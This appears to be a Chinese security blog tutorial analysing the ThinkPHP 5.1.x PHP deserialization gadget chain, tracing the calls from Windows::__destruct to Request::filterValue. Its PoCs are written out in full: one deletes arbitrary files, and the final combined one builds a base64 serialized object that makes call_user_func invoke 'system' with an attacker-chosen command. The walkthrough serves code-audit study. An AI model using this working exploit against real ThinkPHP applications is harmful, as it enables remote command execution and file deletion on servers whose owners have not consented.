ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC
文章目录
- ThinkPHP审计(2) Thinkphp反序列化链子5.1.X原理分析&从0编写POC
- 动态调试环境配置
- Thinkphp反序列化链5.1.X原理分析
- 一.实现任意文件删除
- 二.实现任意命令执行
- 真正的难点
- Thinkphp反序列化链5.1.x 编写 Poc
- 汇总POC
动态调试环境配置
比较简洁的环境配置教程:
https://sn1per-ssd.github.io/2021/02/09/phpstudy-phpstorm-xdebug%E6%90%AD%E5%BB%BA%E6%9C%AC%E5%9C%B0%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83/
Thinkphp反序列化链5.1.X原理分析
原理分析仅仅是遵循前辈的已有的道路,而不是完全探究每一种链子所带来的情况和可能性
前提:存在反序列化的入口
unserialize()
- phar反序列化
- session反序列化
__destruct
/__wakeup
可以作为PHP反序列链的入口
这里简单介绍一下__destruct
垃圾回收机制与生命周期的含义
__destruct
可以理解为PHP的垃圾回收机制,是每次对象执行结束后必须执行的内容,但是执行的先后顺序往往和反序列化的生命周期有关
例如:
<?php
class Test{
public $name;
public $age;
public $string;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
}
// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
function __destruct(){
echo "__destruct 类执行完毕"."<br>";
}
}
$test = new test("test",18, 'Test String');
echo '第二种执行完毕'.'<br>';
?>
这里$test = new test("test",18, 'Test String');
对象被赋值给了$test
变量,而不是直接的new test("test",18, 'Test String');
传递给对象延长了对象的生命周期
所以是在echo '第二种执行完毕'.'<br>';
执行后才执行了__destruct
内容
类似的比如快速销毁(Fast-destruct)
<?php
class Test{
public $name;
public $age;
public $string;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
}
// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
function __destruct(){
echo "__destruct 类执行完毕"."<br>";
}
}
//主动销毁
$test = new Test("test",18, 'Test String');
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';
?>
这里直接__construct
后执行__destruct
因为unset — 清除指定变量
直接销毁储存对象的变量,达到快速垃圾回收的目的
现在开始分析链子 Windows
类中__destruct
执行了自身的removeFiles()
方法
跟进removeFiles
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
发现遍历$this->files
,而且$this->files
可控,作为数组传递
一.实现任意文件删除
@unlink($filename);
删除了传递的filename
简单编写poc
<?php
namespace think\process\pipes;
use think\Process;
class Pipes{};
class Windows extends Pipes
{
private $files = ["D:\\flag.txt"];
}
$windows=new Windows();
echo(base64_encode(serialize($windows)));
?>
可以实现任意文件的的删除
二.实现任意命令执行
除了任意文件删除,危害还可以更大吗?
通过POP链可以实现任意命令执行
全局逻辑图
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
file_exists
函数用于判断文件是否存在
预期传入 String $filename
但是如果我们控制$filename
作为一个对象,就可以隐形的调用类的__toString()
方法
在thinkphp/library/think/model/concern/Conversion.php
中
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
public function toArray()
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]
foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
if (is_array($name)) {//$name=["whoami"]所以进入
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
关键的几个判断和赋值
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]
foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
if (is_array($name)) {//$name=["whoami"]所以进入
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
}
}
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
public function getData($name = null)//$name = $key =peanut
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
$relation->visible($name);
中$relation
可控,可以实现任意类的visible
方法,如果visible
方法不存在,就会调用这个类的__call
方法
如何达到$relation->visible($name);
触发点 访问
if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]]
foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
if (is_array($name)) {//$name=["whoami"]所以进入
- 保证
$this->append
不为空 $this->append
数组的值$name
为数组 也就是二维数组
比如传入append:["peanut"=>["whoami"]]
接着向下走
$relation = $this->getRelation($key);
if (!$relation) {
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
不会进入if/elseif
中 直接return;
回来 为null
if (!$relation)
为空进入判断
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
}
public function getAttr($name, &$item = null)//此时$name = 上一层的$key = peanut
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
进入$this->getData
public function getData($name = null)//$name = $key =peanut
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {//poc中定义$this->data = ['peanut'=>new request()]
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
判断了$this->data
传递的键存在,如果存在,返回其数组对应的键值
比如可以控制$this->data = ['peanut'=>new request()]
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
}
$relation->visible($name);
中$relation
可控为任意类
现在寻找调用__call
的类
在thinkphp/library/think/Request.php
中
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
这里存在敏感关键函数call_user_func_array
__call
($method, $args)接受的参数`
$method
固定是visible
$args
是传递过来的$name
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
可以控制$this->hook['visible']
为任意值,可以控制函数名
call_user_func()
的利用方式无非两种
__call_user_func($method, $args) __
call_user_func_array([ o b j , obj, obj,method], $args)
如果执行第一种方式call_user_func($method, $args)
但是这里array_unshift($args, $this);
参数插入$this
作为第一个值
参数是不能被正常命令识别的,不能直接RCE
那我们最终的利用点可以肯定并不是这里
如果选择第二种方式
call_user_func_array([$obj,$method], $args)
**通过调用 任意类 的 任意方法 **,可供选择的可能性更多
call_user_func_array([ o b j , " 任 意 方 法 " ] , [ obj,"任意方法"],[ obj,"任意方法"],[this,任意参数])
也就是 o b j − > obj-> obj−>func( t h i s , this, this,argv)
真正的难点
曲线救国的策略
难点理解:
__call魔术方法受到array_unshift无法可控触发call_user_func_array
利用_call调用isAjax类找可控变量再触发到filterValue里的call_user_func
为什么这里选Request
类isAjax
方法 接着POP链的调用了?
为什么当时的链子发现的作者会想到通过isAjax
接着执行命令?
网上文章千篇一律,无非就是拿个poc动态调试,粘贴个poc就完了
Thinkphp反序列化漏洞 核心在于 逆向的思考 倒推
开发者不会傻乎乎写个system,shell_exec,exec
等系统函数给你利用的可能
而我们又希望最终实现RCE的效果
我们最终应该更多关注于 不明显的回调函数或者匿名函数执行命令
比如call_user_func,call_user_func_array,array_map,array_filter...
在thinkphp/library/think/Request.php
中
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
$filter
, $value
可控
通过传递 $filter
, $value
实现任意命令执行
那么什么地方调用了filterValue
?回溯调用filterValue
的地方
在thinkphp/library/think/Request.php
中input
调用
$this->filterValue($data, $name, $filter);
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter); //调用点
}
input()函数满足条件,但是在 input()
中会对 $name
进行强转 $name = (string) $name;
传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用 input()
的方法
什么地方又调用了input
函数? Request
类中的param
函数
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
什么地方又调用了param
函数?
是在thinkphp/library/think/Request.php
中isAjax
方法调用
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
我们可以控制$this->config['var_ajax']
为任意值
通过 call_user_func(['object','method',['$this','args']]);
实现 跳转 Request
类的isAjax
方法
至此实现整个链路的闭合
Thinkphp反序列化链5.1.x 编写 Poc
我们开始编写Poc时可以以魔术方法作为每个部分的 分界点
因为魔术方法的实现 往往时 跨类 的
注意声明一下 命名空间
//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files=[new Pivot()];
}
}
实现触发 new Pivot
(任意类)的__toString
魔术方法
触发thinkphp/library/think/model/concern/Conversion.php
的
注意一下这里是trait Conversion
PHP 实现了一种代码复用的方法,称为 trait。
Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式,避免传统多继承和 Mixin 类相关典型问题。
Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合;也就是说,应用的几个 Class 之间不需要继承。
__toString->toJson->toArray->visible->
if (!empty($this->append)) {//在poc中定义了append:["peanut"=>["whoami"]
foreach ($this->append as $key => $name) { //$key =paenut; $name =["whoami"]
if (is_array($name)) {//$name=["whoami"]所以进入
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);//$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法
}
}
保证几个条件
- $this->append有值
- $this->append的键对应的值为数组
- $this->data存在同名key,value的值就就是 跳转的任意类的visible方法
//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{
protected $append = [];
private $data=[];
function __construct(){
$this->append=['coleak'=>['']];
$this->data=['coleak'=>new Request()];
}
}
//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}
可以实现跳转到Request
类的_call
方法
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
接下来进行跳转 call_user_func_array([new Request(),"isAjax"], $args)
$method
一定是visible
因此可以控制$this->hook=['visible'=>[$this,'isAjax']];
跳转 Request
类的isAjax
方法
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
控制$this->config['var_ajax'])
存在即可
调用$this->param
函数
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
这里直接初始化
$name = '', $default = null, $filter = ''
不进入第一个if判断
if (!$this->mergeParam)
控制protected $mergeParam = true;
其他条件无论执行与否,最后
return $this->input($this->param, $name, $default, $filter);
进入input
函数
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
初始化默认$data = [], $name = '', $default = null, $filter = ''
一定会进入$this->filterValue($data, $name, $filter);
调用函数filterValue
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
控制$filter
作为系统命令
protected $filter;
$this->filter=['system'];
filterValue.value
的值为第一个通过GET
请求的值
可以控制&$value
的值作为命令的参数
protected $param = ['calc'];
//protected $param = 'calc'也可以,走另一条执行路径
综合一下
//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $mergeParam = true;
protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径
protected $config = [
'var_ajax' => '',
];
function __construct(){
$this->hook=['visible'=>[$this,'isAjax']];
$this->filter=['system'];
}
}
汇总POC
<?php
//__call->isAjax->param->input->filterValue->call_user_func
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $mergeParam = true;
protected $param = ['calc'];//protected $param = 'calc'也可以,走另一条执行路径
protected $config = [
'var_ajax' => '',
];
function __construct(){
$this->hook=['visible'=>[$this,'isAjax']];
$this->filter=['system'];
}
}
//__toString->toJson->toArray->visible->
namespace think;
abstract class Model{
protected $append = [];
private $data=[];
function __construct(){
$this->append=['coleak'=>['']];
$this->data=['coleak'=>new Request()];
}
}
//为后续集成类加载
namespace think\model;
use think\Model;
class Pivot extends Model{
}
//__destruct->removeFiles->file_exists->
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files=[new Pivot()];
}
}
echo base64_encode(serialize(new Windows()));
//按实际情况来决定如何处理序列化数据
可以成功执行系统命令
本次链子涉及三个关键类
- Windows
- Conversion
- Request
可以浅浅记一下
可以调试看看具体的值